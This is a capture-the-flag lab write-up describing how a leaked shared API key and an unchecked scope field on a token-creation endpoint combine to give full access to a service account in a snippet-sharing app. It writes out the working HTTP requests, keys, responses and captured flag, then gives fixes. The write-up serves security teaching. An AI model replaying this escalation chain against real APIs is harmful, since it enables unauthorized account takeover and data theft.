CopyPasta: API Token Scope Escalation
Executive Summary
CopyPasta is a code-snippet sharing app (snippets, collections, and API
tokens for integrations). It seeds a service account, docs-service, whose
private snippet “Deployment recovery” holds the flag.
Two weaknesses compose into a one-request takeover of that service account:
GET /api/integrationhands thedocs-serviceintegration key to any authenticated caller. The key is shared across the whole account, not a per-user record, and it carriesscope: public:read.POST /api/tokensaccepts that key as an authenticator (X-API-Key), resolves the account from the key correctly, but then takes the new token’sscopestraight from the request body with no check that the requested scope is within the caller’s own scope.
So a public:read key mints a token with scope: full on the same
account. That full token reads the account’s private snippets through GET
/api/snippets, which includes the flag. Either weakness alone is inert: the
leaked key only reads public data, and the mint endpoint is only reachable
with some valid key. Chained, they are a full compromise of the service
account.
| ID | Title | Severity | CVSS v3.1 | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | POST /api/tokens sets the new token’s scope from the request body with no clamp to the caller’s scope |
High | 8.1 | CWE-269, CWE-862 | POST /api/tokens |
| F2 | GET /api/integration returns the docs-service integration key and collection slug to any authenticated user |
Medium | 4.3 | CWE-200 | GET /api/integration |
Objective
Capture the lab flag (bug{...}) from BugForge’s CopyPasta deployment.
Lab hint: “Try changing up your JSON when generating a token.” Read literally, the JSON body of the token-creation request is the broken input, which is exactly where F1 lives.
Scope and Initial Access
Target: https://lab-1792264591446-u2u4pc.labs-app.bugforge.io
Auth: self-registered account
POST /api/register {username,email,password}
-> {token (JWT HS256), user {role: "user"}}
Proxy: Caido 127.0.0.1:8080 in path for every request
The target is an ephemeral BugForge instance. The host and flag below come from a live re-capture of the chain through Caido; BugForge mints a fresh flag per deployment, so the flag string is specific to this instance.
Reconnaissance
- API surface read from the Create-React-App bundle
main.857c0e14.js(source-mapped): auth (register,login,verify-token), snippets CRUD plusshare/:codeandraw/:code, collections CRUD plusshare/:slug, profile and password,GET /api/integration, the/api/tokensfamily, and admin routes (/api/admin/stats,/api/admin/users) that return “Admin access required” to a regular user. - A fresh registered account is role
user, not admin. The admin routes stay closed to it. - The token UI documents two scopes:
full(the default) andpublic:read. That named, closed set is the first signal thatscopeis a privilege dimension worth probing on the mint endpoint. GET /api/snippets/publiclists adocs-servicesnippet, “Documentation API example”, whose body shows the integration flow:GET /api/collections/share/:slugwith anX-API-Keyheader. This points at both an integration credential and a second authenticator (X-API-Key) accepted alongside the session JWT.
Those two observations (a documented scope field on token creation, and a
docs-service integration key reachable with X-API-Key) are the premises
for the chain.
Attack Chain
┌──────────────────────────┐ ┌──────────────────────────┐ ┌──────────────────────────┐ ┌──────────────────────────┐
│ 1. Register │ │ 2. GET /api/integration │ │ 3. POST /api/tokens │ │ 4. GET /api/snippets │
│ open signup │ ──▶ │ leak docs-service │ ──▶ │ auth: reader key │ ──▶ │ auth: full token │
│ JWT │ │ reader key (F2) │ │ body {scope: full} │ │ snippet id 8 │
│ role: user │ │ scope: public:read │ │ -> full token (F1) │ │ -> flag │
└──────────────────────────┘ └──────────────────────────┘ └──────────────────────────┘ └──────────────────────────┘
Each step reuses a value from the prior response: JWT, then the reader key, then the minted full token.
Exploitation
1. Register
Self-register to get a session JWT. The account comes back as role user;
nothing here is privileged yet.
POST /api/register HTTP/1.1
Host: lab-1792264591446-u2u4pc.labs-app.bugforge.io
Content-Type: application/json
{"username":"d4rk_pwn_192348","email":"[email protected]","password":"Sn1pPwn!x7q"}
Response (200): {"token":"eyJhbGciOiJIUzI1NiIs…","user":{"id":7,"username":"d4rk_pwn_192348","role":"user"}}.
2. Leak the integration key (F2)
GET /api/integration with the fresh user’s JWT returns the docs-service
reader key and its collection slug.
GET /api/integration HTTP/1.1
Host: lab-1792264591446-u2u4pc.labs-app.bugforge.io
Authorization: Bearer eyJhbGciOiJIUzI1NiIs…
Response (200):
{"key":"cp_1566e969345a773de58afe2157c4a83a9a5465c0889f6a63","scope":"public:read","account":"docs-service","collection":"28968689-8d0c-454d-a545-abe4ac3f5ffd"}
The returned key is the same across independent registrations, which
confirms it is a credential shared by the whole docs-service account rather
than a per-user integration record. On its own it reads only public data, so
it is a Medium disclosure. Its value is as an authenticator for the next
step.
3. Mint a full token with the reader key (F1)
POST /api/tokens accepts the leaked key as X-API-Key. The request body
asks for scope: full. This is the “change up your JSON” moment: the
endpoint never checks that the requested scope is within the caller’s
public:read scope.
POST /api/tokens HTTP/1.1
Host: lab-1792264591446-u2u4pc.labs-app.bugforge.io
X-API-Key: cp_1566e969345a773de58afe2157c4a83a9a5465c0889f6a63
Content-Type: application/json
{"name":"recap","scope":"full"}
Response (200):
{"id":3,"name":"recap","token":"cp_c85fe9ac8197ec14d1f16175d6325e61892acb55bcb10a9d","token_prefix":"cp_c85fe9ac","scope":"full"}
A read-only credential just produced a full credential on the same
account.
4. Read the private snippet
GET /api/snippets with the minted full token lists the docs-service
account’s snippets, including the private one. The listing honours the
token’s scope, so the full token returns is_public: 0 rows.
GET /api/snippets HTTP/1.1
Host: lab-1792264591446-u2u4pc.labs-app.bugforge.io
X-API-Key: cp_c85fe9ac8197ec14d1f16175d6325e61892acb55bcb10a9d
Response (200) includes snippet id 8, “Deployment recovery”
(is_public: 0):
{"id":8,"user_id":5,"title":"Deployment recovery","code":"bug{6zZ6U4VRCw9l58QrTBO2rs9ue7CUP4cw}","is_public":0,"username":"docs-service"}
Flag: bug{6zZ6U4VRCw9l58QrTBO2rs9ue7CUP4cw} (specific to this deployment).
Impact
A self-registered user obtains a full-scope credential for the shared
docs-service account and reads its private snippets, including the seeded
“Deployment recovery” material. The application’s full scope is its
complete-access scope, so the credential also confers write over that
account, though only the read was exercised in this session.
Failed Approaches
These were tested and ruled out on this variant. They matter because they
show the account binding is correctly enforced, which is what narrowed the
search to scope.
- Mass-assignment of identity or role in the token body. Adding
user_idreturned “Account is determined by authentication”. Addingrole,admin, a nesteduserobject, and__proto__/constructor.prototypewas accepted silently with no effect:verify-tokenstill reported the original account. Account binding on the mint endpoint is sound;scopeis the only field copied from the body without a check. - Value injection on
scope. The whitelist is strict: onlyfullorpublic:read. Arrays, objects, and any other string returnInvalid scope. There is no type or operator smuggling available on the field; the hole is that a valid higher value is accepted, not that the parser is loose. - Admin surface.
/api/admin/statsand/api/admin/usersare role gated and stay closed even to the escalateddocs-servicefull token, whose role is stilluser. The admin routes are a distractor on this variant; the flag path is a private-snippet read, not an admin action.
Remediation
| ID | Fix | CVSS v3.1 | CWE | OWASP 2021 |
|---|---|---|---|---|
| F1 | Derive the minted token’s scope from the caller’s authorization; reject any requested scope that is not a subset of the caller’s scope | 8.1 (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N) |
CWE-269, CWE-862 | A01 Broken Access Control |
| F2 | Scope integration credentials per user or tenant; never return another account’s key to an unrelated caller | 4.3 (AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N) |
CWE-200 | A01 Broken Access Control |
CVSS note: I:H on F1 reflects that full is the application’s
complete-access scope and therefore confers write (create, update, delete)
over the docs-service account, not only the read exercised in this
session. A:N because there is no availability impact, which puts the score
at 8.1 rather than the 8.8 an A:H vector would give.
F1, inferred vulnerable shape (no source available; reconstructed from behaviour):
// POST /api/tokens
const account = resolveAccountFromApiKey(req.headers['x-api-key']);
const token = createToken({
account, // bound to the key: correct, cannot be overridden
name: req.body.name,
scope: req.body.scope, // taken straight from the body: no clamp
});
F1, fixed:
const caller = resolveApiKey(req.headers['x-api-key']); // { account, scope }
const requested = req.body.scope ?? caller.scope;
if (!isSubsetScope(requested, caller.scope)) {
return res.status(403).json({ error: 'Requested scope exceeds caller scope' });
}
const token = createToken({ account: caller.account, name: req.body.name, scope: requested });
F2, inferred vulnerable shape:
// GET /api/integration
res.json({
key: DOCS_SERVICE_INTEGRATION_KEY, // one shared key, returned to everyone
scope: 'public:read',
account: 'docs-service',
collection: COLLECTION,
});
F2, fixed:
const integ = getIntegrationForUser(req.user.id);
if (!integ) return res.status(404).json({ error: 'No integration configured' });
res.json({ key: integ.key, scope: integ.scope, account: req.user.account, collection: integ.collection });
Tags: #api-security #broken-access-control #privilege-escalation #information-disclosure #api-tokens #bugforge
Document Version: 1.0
Last Updated: 2026-10-17